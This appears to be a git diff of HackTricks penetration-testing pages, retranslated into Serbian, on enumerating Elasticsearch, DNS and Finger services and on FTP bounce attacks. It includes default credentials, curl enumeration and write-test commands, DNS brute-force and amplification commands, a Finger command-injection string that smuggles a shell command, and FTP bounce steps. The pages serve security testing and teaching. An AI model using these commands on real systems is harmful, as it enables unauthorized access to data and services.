* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>

View file

@ -15,19 +15,27 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Basic information ## Basic information
Elasticsearch je **distribuirani**, **otvoreni izvor** pretraživač i analitički motor za **sve vrste podataka**. Poznat je po svojoj **brzini**, **skalabilnosti** i **jednostavnim REST API-ima**. Izgrađen na Apache Lucene, prvi put je objavljen 2010. godine od strane Elasticsearch N.V. (sada poznat kao Elastic). Elasticsearch je osnovna komponenta Elastic Stack-a, kolekcije alata otvorenog koda za unos, obogaćivanje, skladištenje, analizu i vizualizaciju podataka. Ova kolekcija, koja se obično naziva ELK Stack, takođe uključuje Logstash i Kibana, a sada ima i lagane agente za slanje podataka nazvane Beats. Elasticsearch je **distribuirani**, **otvoreni izvor** pretraživač i analitički motor za **sve vrste podataka**. Poznat je po svojoj **brzini**, **skalabilnosti** i **jednostavnim REST API-ima**. Izgrađen na Apache Lucene, prvi put je objavljen 2010. godine od strane Elasticsearch N.V. (sada poznat kao Elastic). Elasticsearch je osnovna komponenta Elastic Stack-a, kolekcije alata otvorenog koda za unos podataka, obogaćivanje, skladištenje, analizu i vizualizaciju. Ova kolekcija, koja se obično naziva ELK Stack, takođe uključuje Logstash i Kibana, a sada ima i lagane agente za slanje podataka nazvane Beats.
### What is an Elasticsearch index? ### Šta je Elasticsearch indeks?
Elasticsearch **indeks** je kolekcija **povezanih dokumenata** pohranjenih kao **JSON**. Svaki dokument se sastoji od **ključeva** i njihovih odgovarajućih **vrednosti** (stringovi, brojevi, booleovi, datumi, nizovi, geolokacije, itd.). Elasticsearch **indeks** je kolekcija **povezanih dokumenata** pohranjenih kao **JSON**. Svaki dokument se sastoji od **ključeva** i njihovih odgovarajućih **vrednosti** (stringovi, brojevi, booleans, datumi, nizovi, geolokacije, itd.).
Elasticsearch koristi efikasnu strukturu podataka nazvanu **inverzni indeks** kako bi olakšao brza pretraživanja punog teksta. Ovaj indeks navodi svaku jedinstvenu reč u dokumentima i identifikuje dokumente u kojima se svaka reč pojavljuje. Elasticsearch koristi efikasnu strukturu podataka nazvanu **inverzni indeks** kako bi olakšao brza pretraživanja punog teksta. Ovaj indeks navodi svaku jedinstvenu reč u dokumentima i identifikuje dokumente u kojima se svaka reč pojavljuje.
Tokom procesa indeksiranja, Elasticsearch pohranjuje dokumente i konstruira inverzni indeks, omogućavajući gotovo real-time pretraživanje. **Index API** se koristi za dodavanje ili ažuriranje JSON dokumenata unutar specifičnog indeksa. Tokom procesa indeksiranja, Elasticsearch pohranjuje dokumente i konstruira inverzni indeks, omogućavajući pretraživanje gotovo u realnom vremenu. **Index API** se koristi za dodavanje ili ažuriranje JSON dokumenata unutar određenog indeksa.
**Default port**: 9200/tcp **Podrazumevani port**: 9200/tcp
## Manual Enumeration ## Manual Enumeration
@ -41,9 +49,9 @@ Ako ne vidite taj odgovor prilikom pristupa `/`, pogledajte sledeću sekciju.
### Authentication ### Authentication
**Po defaultu, Elasticsearch nema omogućenu autentifikaciju**, tako da po defaultu možete pristupiti svemu unutar baze podataka bez korišćenja bilo kakvih kredencijala. **Podrazumevano, Elasticsearch nema omogućenu autentifikaciju**, tako da podrazumevano možete pristupiti svemu unutar baze podataka bez korišćenja bilo kakvih akreditiva.
Možete proveriti da li je autentifikacija onemogućena sa zahtevom na: Možete proveriti da li je autentifikacija onemogućena zahtevom na:
```bash ```bash
curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user" curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user"
{"error":{"root_cause":[{"type":"exception","reason":"Security must be explicitly enabled when using a [basic] license. Enable security by setting [xpack.security.enabled] to [true] in the elasticsearch.yml file and restart the node."}],"type":"exception","reason":"Security must be explicitly enabled when using a [basic] license. Enable security by setting [xpack.security.enabled] to [true] in the elasticsearch.yml file and restart the node."},"status":500} {"error":{"root_cause":[{"type":"exception","reason":"Security must be explicitly enabled when using a [basic] license. Enable security by setting [xpack.security.enabled] to [true] in the elasticsearch.yml file and restart the node."}],"type":"exception","reason":"Security must be explicitly enabled when using a [basic] license. Enable security by setting [xpack.security.enabled] to [true] in the elasticsearch.yml file and restart the node."},"status":500}
@ -52,7 +60,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user"
```bash ```bash
{"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401} {"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401}
``` ```
To će značiti da je autentifikacija konfigurisana i **potrebne su vam važeće kredencijale** da biste dobili bilo kakve informacije iz elasticsearch-a. Zatim, možete [**pokušati da bruteforce-ujete**](../generic-methodologies-and-resources/brute-force.md#elasticsearch) (koristi HTTP basic auth, tako da se može koristiti bilo šta što BF HTTP basic auth može koristiti).\ To će značiti da je autentifikacija konfigurisana i **potrebne su vam važeće kredencijale** da biste dobili bilo kakve informacije iz elasticsearch-a. Zatim, možete [**pokušati da bruteforce-ujete**](../generic-methodologies-and-resources/brute-force.md#elasticsearch) (koristi HTTP basic auth, tako da se može koristiti bilo šta što BF HTTP basic auth može).\
Evo vam **lista podrazumevanih korisničkih imena**: _**elastic** (superuser), remote\_monitoring\_user, beats\_system, logstash\_system, kibana, kibana\_system, apm\_system,_ \_anonymous\_._ Starije verzije Elasticsearch-a imaju podrazumevanu lozinku **changeme** za ovog korisnika. Evo vam **lista podrazumevanih korisničkih imena**: _**elastic** (superuser), remote\_monitoring\_user, beats\_system, logstash\_system, kibana, kibana\_system, apm\_system,_ \_anonymous\_._ Starije verzije Elasticsearch-a imaju podrazumevanu lozinku **changeme** za ovog korisnika.
``` ```
curl -X GET http://user:password@IP:9200/ curl -X GET http://user:password@IP:9200/
@ -113,7 +121,7 @@ green open .kibana 6tjAYZrgQ5CwwR0g6VOoRg 1 0 1 0
yellow open quotes ZG2D1IqkQNiNZmi2HRImnQ 5 1 253 0 262.7kb 262.7kb yellow open quotes ZG2D1IqkQNiNZmi2HRImnQ 5 1 253 0 262.7kb 262.7kb
yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 483.2kb 483.2kb yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 483.2kb 483.2kb
``` ```
Da biste dobili **informacije o tome koja vrsta podataka je sačuvana unutar indeksa**, možete pristupiti: `http://host:9200/<index>` u ovom slučaju `http://10.10.10.115:9200/bank` Da biste dobili **informacije o tome koja vrsta podataka je sačuvana unutar indeksa**, možete pristupiti: `http://host:9200/<index>` iz primera, u ovom slučaju `http://10.10.10.115:9200/bank`
![](<../.gitbook/assets/image (342).png>) ![](<../.gitbook/assets/image (342).png>)
@ -148,7 +156,7 @@ Takođe možete koristiti nešto poput [https://github.com/misalabs/horuz](https
### Write permissions ### Write permissions
Možete proveriti svoja prava pisanja pokušavajući da kreirate novi dokument unutar novog indeksa pokretanjem nečega poput sledećeg: Možete proveriti svoja prava pisanja pokušavajući da kreirate novi dokument unutar novog indeksa pokrećući nešto poput sledećeg:
```bash ```bash
curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/json' -d' curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/json' -d'
{ {
@ -180,6 +188,14 @@ msf > use auxiliary/scanner/elasticsearch/indices_enum
* `port:9200 elasticsearch` * `port:9200 elasticsearch`
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %} {% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -17,13 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Odmah dostupna postavka za procenu ranjivosti i penetraciono testiranje**. Izvršite potpuno pentestiranje sa bilo kog mesta uz 20+ alata i funkcija koje se kreću od rekognosciranja do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili malo vremena da dublje istraže, otvore shell-ove i zabave se. #### Get a hacker's perspective on your web apps, network, and cloud
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## **Osnovne informacije** ## **Osnovne informacije**
**Sistem imenskih domena (DNS)** služi kao internet direktorijum, omogućavajući korisnicima pristup veb sajtovima putem **lako pamtljivih imena domena** kao što su google.com ili facebook.com, umesto numeričkih Internet protokola (IP) adresa. Prevođenjem imena domena u IP adrese, DNS osigurava da veb pregledači brzo učitavaju internet resurse, pojednostavljujući način na koji se krećemo kroz online svet. **Sistem imenskih domena (DNS)** služi kao internet direktorijum, omogućavajući korisnicima pristup veb sajtovima putem **lako pamtljivih imena domena** kao što su google.com ili facebook.com, umesto numeričkih Internet protokola (IP) adresa. Prevođenjem imena domena u IP adrese, DNS osigurava da veb pregledači brzo učitavaju internet resurse, pojednostavljujući način na koji se krećemo online svetom.
**Podrazumevani port:** 53 **Podrazumevani port:** 53
``` ```
@ -39,7 +41,7 @@ PORT STATE SERVICE REASON
* **Non-authoritative Nameservers**: Bez vlasništva nad DNS zonama, ovi serveri prikupljaju informacije o domenima putem upita ka drugim serverima. * **Non-authoritative Nameservers**: Bez vlasništva nad DNS zonama, ovi serveri prikupljaju informacije o domenima putem upita ka drugim serverima.
* **Caching DNS Server**: Ova vrsta servera pamti prethodne odgovore na upite za određeno vreme kako bi ubrzala vreme odgovora za buduće zahteve, pri čemu trajanje keša određuje autoritativni server. * **Caching DNS Server**: Ova vrsta servera pamti prethodne odgovore na upite za određeno vreme kako bi ubrzala vreme odgovora za buduće zahteve, pri čemu trajanje keša određuje autoritativni server.
* **Forwarding Server**: Igrajući jednostavnu ulogu, forwarding serveri jednostavno prosleđuju upite drugom serveru. * **Forwarding Server**: Igrajući jednostavnu ulogu, forwarding serveri jednostavno prosleđuju upite drugom serveru.
* **Resolver**: Integrisani u računare ili rutere, resolvers izvršavaju razrešavanje imena lokalno i ne smatraju se autoritativnim. * **Resolver**: Integrisani unutar računara ili rutera, resolvers izvršavaju razrešavanje imena lokalno i ne smatraju se autoritativnim.
## Enumeration ## Enumeration
@ -149,7 +151,7 @@ Brute force koristeći "AAAA" zahteve za prikupljanje IPv6 adresa poddomena.
```bash ```bash
dnsdict6 -s -t <domain> dnsdict6 -s -t <domain>
``` ```
Bruteforce obrnuti DNS koristeći IPv6 adrese Bruteforce reverzni DNS koristeći IPv6 adrese
```bash ```bash
dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns.ripe.net dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns.ripe.net
``` ```
@ -160,7 +162,7 @@ Način da se **proveri** da li DNS podržava **rekursiju** je da se upita naziv
```bash ```bash
dig google.com A @<IP> dig google.com A @<IP>
``` ```
**Nema dostupno**: **Nije dostupno**:
![](<../.gitbook/assets/image (123).png>) ![](<../.gitbook/assets/image (123).png>)
@ -170,19 +172,21 @@ dig google.com A @<IP>
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Odmah dostupna postavka za procenu ranjivosti i penetraciono testiranje**. Pokrenite potpuno pentestiranje sa bilo kog mesta uz 20+ alata i funkcija koje se kreću od rekognosciranja do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili malo vremena da dublje istraže, otvore shell-ove i zabave se. #### Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
### Pošta na nepostojeći nalog ### Pošta na nepostojeći nalog
Kroz ispitivanje obaveštenja o neisporuci (NDN) koje je pokrenuto slanjem e-pošte na nevažeću adresu unutar ciljnog domena, često se otkrivaju dragoceni detalji o unutrašnjoj mreži. Kroz ispitivanje obaveštenja o neisporuci (NDN) koje je pokrenuto slanjem e-pošte na nevažeću adresu unutar ciljnog domena, često se otkrivaju dragoceni detalji interne mreže.
Dostavljeni izveštaj o neisporuci uključuje informacije kao što su: Dostavljeni izveštaj o neisporuci uključuje informacije kao što su:
* Generišući server je identifikovan kao `server.example.com`. * Generišući server je identifikovan kao `server.example.com`.
* Vraćena je obaveštenje o grešci za `user@example.com` sa kodom greške `#550 5.1.1 RESOLVER.ADR.RecipNotFound; not found`. * Obaveštenje o grešci za `user@example.com` sa kodom greške `#550 5.1.1 RESOLVER.ADR.RecipNotFound; not found` je vraćeno.
* Unutrašnje IP adrese i imena hostova su otkrivena u originalnim zaglavljima poruka. * Interni IP adrese i imena hostova su otkriveni u originalnim zaglavljima poruka.
```markdown ```markdown
The original message headers were modified for anonymity and now present randomized data: The original message headers were modified for anonymity and now present randomized data:
@ -285,7 +289,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; s
``` ```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Odmah dostupna postavka za procenu ranjivosti i penetraciono testiranje**. Izvršite potpuno pentestiranje sa bilo kog mesta uz 20+ alata i funkcija koje se kreću od rekognosciranja do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili malo vremena da dublje istraže, otvore shell-ove i zabave se. #### Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -298,7 +304,7 @@ Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
<summary>Podržite HackTricks</summary> <summary>Podržite HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)! * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>

View file

@ -17,22 +17,24 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Odmah dostupna postavka za procenu ranjivosti i penetraciono testiranje**. Pokrenite potpuni pentest sa bilo kog mesta uz 20+ alata i funkcija koje se kreću od rekognosciranja do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili malo vremena da dublje istraže, otvore shell-ove i zabave se. #### Get a hacker's perspective on your web apps, network, and cloud
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## **Osnovne informacije** ## **Basic Info**
**Finger** program/usluga se koristi za dobijanje detalja o korisnicima računara. Obično, informacije koje se pružaju uključuju **korisničko ime, puno ime**, i, u nekim slučajevima, dodatne detalje. Ovi dodatni detalji mogu obuhvatati lokaciju kancelarije i broj telefona (ako su dostupni), vreme kada se korisnik prijavio, period neaktivnosti (idle time), poslednji put kada je korisnik pročitao e-mail, i sadržaj korisnikovih planova i projektnih fajlova. Program/usluga **Finger** se koristi za dobijanje detalja o korisnicima računara. Obično, informacije koje se pružaju uključuju **korisničko ime, puno ime**, i, u nekim slučajevima, dodatne detalje. Ovi dodatni detalji mogu obuhvatati lokaciju kancelarije i broj telefona (ako su dostupni), vreme kada se korisnik prijavio, period neaktivnosti (idle time), poslednji put kada je korisnik pročitao e-mail, i sadržaj korisnikovih planova i projektnih fajlova.
**Podrazumevani port:** 79 **Default port:** 79
``` ```
PORT STATE SERVICE PORT STATE SERVICE
79/tcp open finger 79/tcp open finger
``` ```
## **Enumeracija** ## **Enumeracija**
### **Prikupljanje banera/Osnovna veza** ### **Prikupljanje banera/Osnovna konekcija**
```bash ```bash
nc -vn <IP> 79 nc -vn <IP> 79
echo "root" | nc -vn <IP> 79 echo "root" | nc -vn <IP> 79
@ -66,14 +68,16 @@ finger "|/bin/ls -a /@example.com"
``` ```
## Finger Bounce ## Finger Bounce
[Koristite sistem kao finger relé](https://securiteam.com/exploits/2BUQ2RFQ0I/) [Koristite sistem kao finger relay](https://securiteam.com/exploits/2BUQ2RFQ0I/)
``` ```
finger user@host@victim finger user@host@victim
finger @internal@external finger @internal@external
``` ```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Odmah dostupna postavka za procenu ranjivosti i penetraciono testiranje**. Izvršite potpuno pentestiranje sa bilo kog mesta uz 20+ alata i funkcija koje se kreću od rekognosciranja do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili malo vremena da dublje istraže, otvore shell-ove i zabave se. #### Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -86,7 +90,7 @@ Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
<summary>Podržite HackTricks</summary> <summary>Podržite HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)! * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>

View file

@ -1,66 +1,70 @@
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Support HackTricks</summary> <summary>Podržite HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **nas pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Odmah dostupna postavka za procenu ranjivosti i penetraciono testiranje**. Pokrenite potpuni pentest sa bilo kog mesta sa 20+ alata i funkcija koje idu od rekognosciranja do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili malo vremena da dublje istraže, otvore shell-ove i zabave se. #### Dobijte perspektivu hakera o vašim web aplikacijama, mreži i cloudu
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
# Resume # Rezime
Ako imate pristup bounce FTP serveru, možete ga naterati da zahteva datoteke sa drugog FTP servera \(gde znate neke akreditive\) i preuzmete tu datoteku na svoj server. Ako imate pristup bounce FTP serveru, možete ga naterati da zahteva datoteke sa drugog FTP servera \(gde znate neke akreditive\) i preuzmete tu datoteku na svoj server.
## Requirements ## Zahtevi
- FTP validni akreditivi na FTP srednjem serveru - Važeći FTP akreditivi na FTP Middle serveru
- FTP validni akreditivi na žrtvinom FTP serveru - Važeći FTP akreditivi na Victim FTP serveru
- Oba servera prihvataju PORT komandu \(bounce FTP napad\) - Oba servera prihvataju PORT komandu \(bounce FTP napad\)
- Možete pisati unutar nekog direktorijuma na FRP srednjem serveru - Možete pisati unutar nekog direktorijuma FRP Middle servera
- Srednji server će imati veći pristup unutar žrtvinog FTP servera od vas iz nekog razloga \(to je ono što ćete iskoristiti\) - Srednji server će imati veći pristup unutar Victim FTP servera od vas iz nekog razloga \(to je ono što ćete iskoristiti\)
## Steps ## Koraci
1. Povežite se na svoj FTP server i postavite vezu na pasivnu \(pasv komanda\) da biste slušali u direktorijumu gde će žrtvinska usluga poslati datoteku 1. Povežite se na svoj FTP server i postavite vezu na pasivnu \(pasv komanda\) da biste slušali u direktorijumu gde će usluga žrtve poslati datoteku
2. Napravite datoteku koja će poslati FTP srednji server na žrtvinski server \(eksploit\). Ova datoteka će biti običan tekst potrebnih komandi za autentifikaciju protiv žrtvinog servera, promenu direktorijuma i preuzimanje datoteke na svoj server. 2. Napravite datoteku koja će poslati FTP Middle server na Victim server \(eksploit\). Ova datoteka će biti običan tekst potrebnih komandi za autentifikaciju protiv Victim servera, promenu direktorijuma i preuzimanje datoteke na vaš server.
3. Povežite se na FTP srednji server i otpremite prethodnu datoteku 3. Povežite se na FTP Middle Server i otpremite prethodnu datoteku
4. Naterajte FTP srednji server da uspostavi vezu sa žrtvinskim serverom i pošalje eksploatacionu datoteku 4. Naterajte FTP Middle server da uspostavi vezu sa serverom žrtve i pošalje eksploatacionu datoteku
5. Zabeležite datoteku na svom FTP serveru 5. Zabeležite datoteku na svom FTP serveru
6. Obrišite eksploatacionu datoteku sa FTP srednjeg servera 6. Obrišite eksploatacionu datoteku sa FTP Middle servera
